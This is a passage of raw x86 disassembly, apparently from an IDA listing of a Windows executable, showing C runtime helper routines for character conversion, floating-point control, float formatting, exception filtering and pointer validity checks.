dword_481E4C, ebx jnz short loc_414B48 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_414B43 movzx ax, al mov [ecx], ax loc_414B43: ; CODE XREF: sub_414B04+36j ; sub_414B04+C0j push 1 pop eax jmp short loc_414B29 ; --------------------------------------------------------------------------- loc_414B48: ; CODE XREF: sub_414B04+2Fj mov ecx, off_421DF8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_414BA5 mov eax, dword_422004 cmp eax, 1 jle short loc_414B8C cmp [ebp+arg_8], eax jl short loc_414B96 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_481E5C call dword_4180CC ; MultiByteToWideChar test eax, eax mov eax, dword_422004 jnz short loc_414B29 loc_414B8C: ; CODE XREF: sub_414B04+5Cj cmp [ebp+arg_8], eax jb short loc_414B96 cmp [esi+1], bl jnz short loc_414B29 loc_414B96: ; CODE XREF: sub_414B04+61j ; sub_414B04+8Bj ... mov dword_481DBC, 2Ah or eax, 0FFFFFFFFh jmp short loc_414B29 ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_414B04+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_481E5C call dword_4180CC ; MultiByteToWideChar test eax, eax jnz loc_414B43 jmp short loc_414B96 sub_414B04 endp ; =============== S U B R O U T I N E ======================================= sub_414BCC proc near ; CODE XREF: sub_40F5E2+76p ; sub_40F5E2+88p ... arg_0 = dword ptr 4 cmp dword_422004, 1 jle short loc_414BE3 push 8 push [esp+4+arg_0] call sub_412B49 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_414BE3: ; CODE XREF: sub_414BCC+7j mov eax, [esp+arg_0] mov ecx, off_421DF8 mov al, [ecx+eax*2] and eax, 8 retn sub_414BCC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414C00 proc near ; CODE XREF: sub_40F5E2+797p ; sub_40F5E2+7E7p cmp cl, 40h jnb short loc_414C1A cmp cl, 20h jnb short loc_414C10 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_414C10: ; CODE XREF: sub_414C00+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_414C1A: ; CODE XREF: sub_414C00+3j xor eax, eax xor edx, edx retn sub_414C00 endp ; =============== S U B R O U T I N E ======================================= sub_414C1F proc near ; CODE XREF: sub_410058+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_414C6B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_414C3D test al, 80h jz short loc_414C6B test al, 2 jnz short loc_414C6B loc_414C3D: ; CODE XREF: sub_414C1F+14j cmp dword ptr [esi+8], 0 jnz short loc_414C4A push esi call sub_414979 pop ecx loc_414C4A: ; CODE XREF: sub_414C1F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_414C5A cmp dword ptr [esi+4], 0 jnz short loc_414C6B inc eax mov [esi], eax loc_414C5A: ; CODE XREF: sub_414C1F+30j test byte ptr [esi+0Ch], 40h jz short loc_414C71 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_414C77 inc eax mov [esi], eax loc_414C6B: ; CODE XREF: sub_414C1F+9j ; sub_414C1F+18j ... or eax, 0FFFFFFFFh loc_414C6E: ; CODE XREF: sub_414C1F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_414C71: ; CODE XREF: sub_414C1F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_414C77: ; CODE XREF: sub_414C1F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_414C6E sub_414C1F endp ; =============== S U B R O U T I N E ======================================= sub_414C8D proc near ; CODE XREF: sub_411A49+52p xor eax, eax retn sub_414C8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C90 proc near ; CODE XREF: sub_414CC5+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_414CDB mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_414D6D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_414C90 endp ; =============== S U B R O U T I N E ======================================= sub_414CC5 proc near ; CODE XREF: sub_411D35+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_414C90 pop ecx pop ecx retn sub_414CC5 endp ; =============== S U B R O U T I N E ======================================= sub_414CDB proc near ; CODE XREF: sub_414C90+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_414CEC push 10h pop eax loc_414CEC: ; CODE XREF: sub_414CDB+Cj test bl, 4 jz short loc_414CF3 or al, 8 loc_414CF3: ; CODE XREF: sub_414CDB+14j test bl, 8 jz short loc_414CFA or al, 4 loc_414CFA: ; CODE XREF: sub_414CDB+1Bj test bl, 10h jz short loc_414D01 or al, 2 loc_414D01: ; CODE XREF: sub_414CDB+22j test bl, 20h jz short loc_414D08 or al, 1 loc_414D08: ; CODE XREF: sub_414CDB+29j test bl, 2 jz short loc_414D12 or eax, 80000h loc_414D12: ; CODE XREF: sub_414CDB+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_414D4A cmp edx, 400h jz short loc_414D47 cmp edx, 800h jz short loc_414D43 cmp edx, esi jnz short loc_414D4A or eax, edi jmp short loc_414D4A ; --------------------------------------------------------------------------- loc_414D43: ; CODE XREF: sub_414CDB+5Ej or eax, ebp jmp short loc_414D4A ; --------------------------------------------------------------------------- loc_414D47: ; CODE XREF: sub_414CDB+56j or ah, 1 loc_414D4A: ; CODE XREF: sub_414CDB+4Ej ; sub_414CDB+62j ... and ecx, edi pop esi jz short loc_414D5A cmp ecx, ebp jnz short loc_414D5F or eax, 10000h jmp short loc_414D5F ; --------------------------------------------------------------------------- loc_414D5A: ; CODE XREF: sub_414CDB+72j or eax, 20000h loc_414D5F: ; CODE XREF: sub_414CDB+76j ; sub_414CDB+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_414D6C or eax, 40000h locret_414D6C: ; CODE XREF: sub_414CDB+8Aj retn sub_414CDB endp ; =============== S U B R O U T I N E ======================================= sub_414D6D proc near ; CODE XREF: sub_414C90+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_414D7D push 1 pop eax loc_414D7D: ; CODE XREF: sub_414D6D+Bj test bl, 8 jz short loc_414D84 or al, 4 loc_414D84: ; CODE XREF: sub_414D6D+13j test bl, 4 jz short loc_414D8B or al, 8 loc_414D8B: ; CODE XREF: sub_414D6D+1Aj test bl, 2 jz short loc_414D92 or al, 10h loc_414D92: ; CODE XREF: sub_414D6D+21j test bl, 1 jz short loc_414D99 or al, 20h loc_414D99: ; CODE XREF: sub_414D6D+28j test ebx, 80000h jz short loc_414DA3 or al, 2 loc_414DA3: ; CODE XREF: sub_414D6D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_414DD0 cmp ecx, 100h jz short loc_414DCD cmp ecx, esi jz short loc_414DC8 cmp ecx, edx jnz short loc_414DD0 or ah, 0Ch jmp short loc_414DD0 ; --------------------------------------------------------------------------- loc_414DC8: ; CODE XREF: sub_414D6D+50j or ah, 8 jmp short loc_414DD0 ; --------------------------------------------------------------------------- loc_414DCD: ; CODE XREF: sub_414D6D+4Cj or ah, 4 loc_414DD0: ; CODE XREF: sub_414D6D+44j ; sub_414D6D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_414DE6 cmp ecx, 10000h jnz short loc_414DE8 or eax, esi jmp short loc_414DE8 ; --------------------------------------------------------------------------- loc_414DE6: ; CODE XREF: sub_414D6D+6Bj or eax, edx loc_414DE8: ; CODE XREF: sub_414D6D+73j ; sub_414D6D+77j pop esi test ebx, 40000h pop ebx jz short locret_414DF5 or ah, 10h locret_414DF5: ; CODE XREF: sub_414D6D+83j retn sub_414D6D endp ; =============== S U B R O U T I N E ======================================= sub_414DF6 proc near ; CODE XREF: sub_414E95+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_414E3B inc esi cmp esi, 3 jge short loc_414E36 lea eax, [eax+esi*4] loc_414E28: ; CODE XREF: sub_414DF6+3Ej cmp dword ptr [eax], 0 jnz short loc_414E3B inc esi add eax, 4 cmp esi, 3 jl short loc_414E28 loc_414E36: ; CODE XREF: sub_414DF6+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414DF6+27j ; sub_414DF6+35j xor eax, eax pop esi retn sub_414DF6 endp ; =============== S U B R O U T I N E ======================================= sub_414E3F proc near ; CODE XREF: sub_414E95+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_416196 add esp, 0Ch dec esi js short loc_414E91 lea edi, [ebx+esi*4] loc_414E78: ; CODE XREF: sub_414E3F+50j test eax, eax jz short loc_414E91 push edi push 1 push dword ptr [edi] call sub_416196 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_414E78 loc_414E91: ; CODE XREF: sub_414E3F+34j ; sub_414E3F+3Bj pop edi pop esi pop ebx retn sub_414E3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E95 proc near ; CODE XREF: sub_414FF0+81p ; sub_414FF0+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_414EF9 inc ebx push ebx push [ebp+arg_0] call sub_414DF6 pop ecx test eax, eax pop ecx jnz short loc_414EF6 push edi push [ebp+arg_0] call sub_414E3F pop ecx mov [ebp+var_4], eax pop ecx loc_414EF6: ; CODE XREF: sub_414E95+51j mov eax, [ebp+arg_4] loc_414EF9: ; CODE XREF: sub_414E95+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_414F19 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_414F19: ; CODE XREF: sub_414E95+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414E95 endp ; =============== S U B R O U T I N E ======================================= sub_414F21 proc near ; CODE XREF: sub_414FF0+75p ; sub_414FF0+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_414F2F: ; CODE XREF: sub_414F21+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_414F2F pop esi retn sub_414F21 endp ; =============== S U B R O U T I N E ======================================= sub_414F3C proc near ; CODE XREF: sub_414FF0+5Fp ; sub_414FF0+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_414F3C endp ; =============== S U B R O U T I N E ======================================= sub_414F48 proc near ; CODE XREF: sub_414FF0+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_414F4E: ; CODE XREF: sub_414F48+12j cmp dword ptr [eax], 0 jnz short loc_414F60 inc ecx add eax, 4 cmp ecx, 3 jl short loc_414F4E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_414F60: ; CODE XREF: sub_414F48+9j xor eax, eax retn sub_414F48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F63 proc near ; CODE XREF: sub_414FF0+C0p ; sub_414FF0+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_414F99: ; CODE XREF: sub_414F63+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_414F99 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_414FCB: ; CODE XREF: sub_414F63+86j cmp ebx, edi jl short loc_414FDE mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_414FE5 ; --------------------------------------------------------------------------- loc_414FDE: ; CODE XREF: sub_414F63+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_414FE5: ; CODE XREF: sub_414F63+79j dec ebx sub ecx, 4 jns short loc_414FCB pop edi pop esi pop ebx leave retn sub_414F63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FF0 proc near ; CODE XREF: sub_41515C+Dp ; sub_415172+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41505D lea eax, [ebp+var_C] xor esi, esi push eax call sub_414F48 test eax, eax pop ecx jnz loc_41511C lea eax, [ebp+var_C] push eax call sub_414F3C pop ecx loc_415055: ; CODE XREF: sub_414FF0+E4j push 2 loc_415057: ; CODE XREF: sub_414FF0+110j pop eax jmp loc_41511E ; --------------------------------------------------------------------------- loc_41505D: ; CODE XREF: sub_414FF0+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_414F21 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_414E95 add esp, 10h test eax, eax jz short loc_41507E inc ebx loc_41507E: ; CODE XREF: sub_414FF0+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_415096 lea eax, [ebp+var_C] push eax call sub_414F3C pop ecx jmp short loc_4150D2 ; --------------------------------------------------------------------------- loc_415096: ; CODE XREF: sub_414FF0+98j cmp ebx, eax jg short loc_4150D9 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_414F21 lea eax, [ebp+var_C] push esi push eax call sub_414F63 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_414E95 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_414F63 add esp, 20h loc_4150D2: ; CODE XREF: sub_414FF0+A4j xor esi, esi jmp loc_415055 ; --------------------------------------------------------------------------- loc_4150D9: ; CODE XREF: sub_414FF0+A8j cmp ebx, [edi] jl short loc_415105 lea eax, [ebp+var_C] push eax call sub_414F3C push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_414F63 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_415057 ; --------------------------------------------------------------------------- loc_415105: ; CODE XREF: sub_414FF0+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_414F63 pop ecx pop ecx loc_41511C: ; CODE XREF: sub_414FF0+55j xor eax, eax loc_41511E: ; CODE XREF: sub_414FF0+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41514D mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_415157 ; --------------------------------------------------------------------------- loc_41514D: ; CODE XREF: sub_414FF0+14Ej cmp edi, 20h jnz short loc_415157 mov ecx, [ebp+arg_4] mov [ecx], esi loc_415157: ; CODE XREF: sub_414FF0+15Bj ; sub_414FF0+160j pop edi pop esi pop ebx leave retn sub_414FF0 endp ; =============== S U B R O U T I N E ======================================= sub_41515C proc near ; CODE XREF: sub_415188+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_422618 push [esp+4+arg_4] push [esp+8+arg_0] call sub_414FF0 add esp, 0Ch retn sub_41515C endp ; =============== S U B R O U T I N E ======================================= sub_415172 proc near ; CODE XREF: sub_4151B5+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_422630 push [esp+4+arg_4] push [esp+8+arg_0] call sub_414FF0 add esp, 0Ch retn sub_415172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415188 proc near ; CODE XREF: sub_411E6E+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_416337 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41515C add esp, 24h leave retn sub_415188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151B5 proc near ; CODE XREF: sub_411E6E+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_416337 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_415172 add esp, 24h leave retn sub_4151B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151E2 proc near ; CODE XREF: sub_411EAC+65p ; sub_411FB0+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41521F mov [ebp+arg_0], ebx xor ebx, ebx loc_415205: ; CODE XREF: sub_4151E2+38j mov dl, [ecx] test dl, dl jz short loc_415211 movsx edx, dl inc ecx jmp short loc_415214 ; --------------------------------------------------------------------------- loc_415211: ; CODE XREF: sub_4151E2+27j push 30h pop edx loc_415214: ; CODE XREF: sub_4151E2+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_415205 mov edx, [ebp+arg_8] loc_41521F: ; CODE XREF: sub_4151E2+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_415238 cmp byte ptr [ecx], 35h jl short loc_415238 loc_41522B: ; CODE XREF: sub_4151E2+52j dec eax cmp byte ptr [eax], 39h jnz short loc_415236 mov byte ptr [eax], 30h jmp short loc_41522B ; --------------------------------------------------------------------------- loc_415236: ; CODE XREF: sub_4151E2+4Dj inc byte ptr [eax] loc_415238: ; CODE XREF: sub_4151E2+42j ; sub_4151E2+47j cmp byte ptr [esi], 31h jnz short loc_415242 inc dword ptr [edx+4] jmp short loc_415254 ; --------------------------------------------------------------------------- loc_415242: ; CODE XREF: sub_4151E2+59j push edi call sub_40CBC0 inc eax push eax push edi push esi call sub_40D460 add esp, 10h loc_415254: ; CODE XREF: sub_4151E2+5Ej pop edi pop esi pop ebx pop ebp retn sub_4151E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415259 proc near ; CODE XREF: sub_411EAC+3Fp ; sub_411FB0+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4152BD pop ecx lea esi, [ebp+var_C] pop ecx push offset word_481F88 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_416808 mov dword_481FB0, eax add esp, 18h movsx eax, byte_481F8A mov dword_481FA8, eax pop edi movsx eax, word_481F88 mov dword_481FAC, eax mov dword_481FB4, offset dword_481F8C mov eax, offset dword_481FA8 pop esi leave retn sub_415259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152BD proc near ; CODE XREF: sub_415259+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41530B cmp ebx, edi jz short loc_415304 lea edi, [ecx+3C00h] jmp short loc_41532C ; --------------------------------------------------------------------------- loc_415304: ; CODE XREF: sub_4152BD+3Dj mov edi, 7FFFh jmp short loc_41532C ; --------------------------------------------------------------------------- loc_41530B: ; CODE XREF: sub_4152BD+39j xor ebx, ebx cmp eax, ebx jnz short loc_415323 cmp edx, ebx jnz short loc_415323 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41536E ; --------------------------------------------------------------------------- loc_415323: ; CODE XREF: sub_4152BD+52j ; sub_4152BD+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41532C: ; CODE XREF: sub_4152BD+45j ; sub_4152BD+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_415344: ; CODE XREF: sub_4152BD+A6j test ecx, esi jnz short loc_415365 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_415344 ; --------------------------------------------------------------------------- loc_415365: ; CODE XREF: sub_4152BD+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41536E: ; CODE XREF: sub_4152BD+64j pop edi pop esi pop ebx leave retn sub_4152BD endp ; --------------------------------------------------------------------------- push 2 call sub_40EC7A pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41537C proc near ; DATA XREF: .nsp0:004153C2o ; .nsp0:00421DE8o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41539F cmp dword ptr [eax+10h], 3 jnz short loc_41539F cmp dword ptr [eax+14h], 19930520h jnz short loc_41539F jmp sub_412A3C ; --------------------------------------------------------------------------- loc_41539F: ; CODE XREF: sub_41537C+Dj ; sub_41537C+13j ... mov eax, dword_481FB8 test eax, eax jz short loc_4153BC push eax call sub_415418 test eax, eax pop ecx jz short loc_4153BC push esi call dword_481FB8 jmp short loc_4153BE ; --------------------------------------------------------------------------- loc_4153BC: ; CODE XREF: sub_41537C+2Aj ; sub_41537C+35j xor eax, eax loc_4153BE: ; CODE XREF: sub_41537C+3Ej pop esi retn 4 sub_41537C endp ; --------------------------------------------------------------------------- push offset sub_41537C call dword_41802C ; SetUnhandledExceptionFilter mov dword_481FB8, eax retn ; --------------------------------------------------------------------------- loc_4153D3: ; DATA XREF: .nsp0:0041A038o push dword_481FB8 call dword_41802C ; SetUnhandledExceptionFilter retn ; =============== S U B R O U T I N E ======================================= sub_4153E0 proc near ; CODE XREF: sub_412284+6Bp ; sub_412795+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_418028 ; IsBadReadPtr test eax, eax jz short loc_4153F8 xor esi, esi loc_4153F8: ; CODE XREF: sub_4153E0+14j mov eax, esi pop esi retn sub_4153E0 endp ; =============== S U B R O U T I N E ======================================= sub_4153FC proc near ; CODE XREF: sub_412795+73p ; sub_412795+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_418148 ; IsBadWritePtr test eax, eax jz short loc_415414 xor esi, esi loc_415414: ; CODE XREF: sub_4153FC+14j mov eax, esi pop esi retn sub_4153FC endp ; =============== S U B R O U T I N E ======================================= sub_415418 proc near ; CODE XREF: sub_412795+15Bp ; sub_41537C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_418024 ; IsBadCodePtr test eax, eax jz short loc_41542C xor esi, esi loc_41542C: ; CODE XREF: sub_415418+10j mov eax, esi pop esi retn sub_415418 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412A3C loc_415430: ; CODE XREF: sub_412A3C:loc_412A8Dj push 0Ah call sub_414679 push 16h call sub_416A9B pop ecx pop ecx push 3 call sub_40E7C3 ; END OF FUNCTION CHUNK FOR sub_412A3C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415447 proc near ; CODE XREF: sub_412B49+5Ep ; sub_4138B8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418B78 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_481FBC xor ebx, ebx cmp eax, ebx jnz short loc_4154B6 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_418868 push esi call dword_41801C ; GetStringTypeW test eax, eax jz short loc_415494 mov eax, esi jmp short loc_4154B1 ; --------------------------------------------------------------------------- loc_415494: ; CODE XREF: sub_415447+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4242EC push esi push ebx call dword_418020 ; GetStringTypeA test eax, eax jz loc_41557C push 2 pop eax loc_4154B1: ; CODE XREF: sub_415447+4Bj mov dword_481FBC, eax loc_4154B6: ; CODE XREF: sub_415447+2Fj cmp eax, 2 jnz short loc_4154DF mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_4154C7 mov eax, dword_481E4C loc_4154C7: ; CODE XREF: sub_415447+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_418020 ; GetStringTypeA jmp loc_41557E ; --------------------------------------------------------------------------- loc_4154DF: ; CODE XREF: sub_415447+72j cmp eax, 1 jnz loc_41557C cmp [ebp+arg_10], ebx jnz short loc_4154F5 mov eax, dword_481E5C mov [ebp+arg_10], eax loc_4154F5: ; CODE XREF: sub_415447+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_4180CC ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41557C mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_40CCA0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_40CC40 add esp, 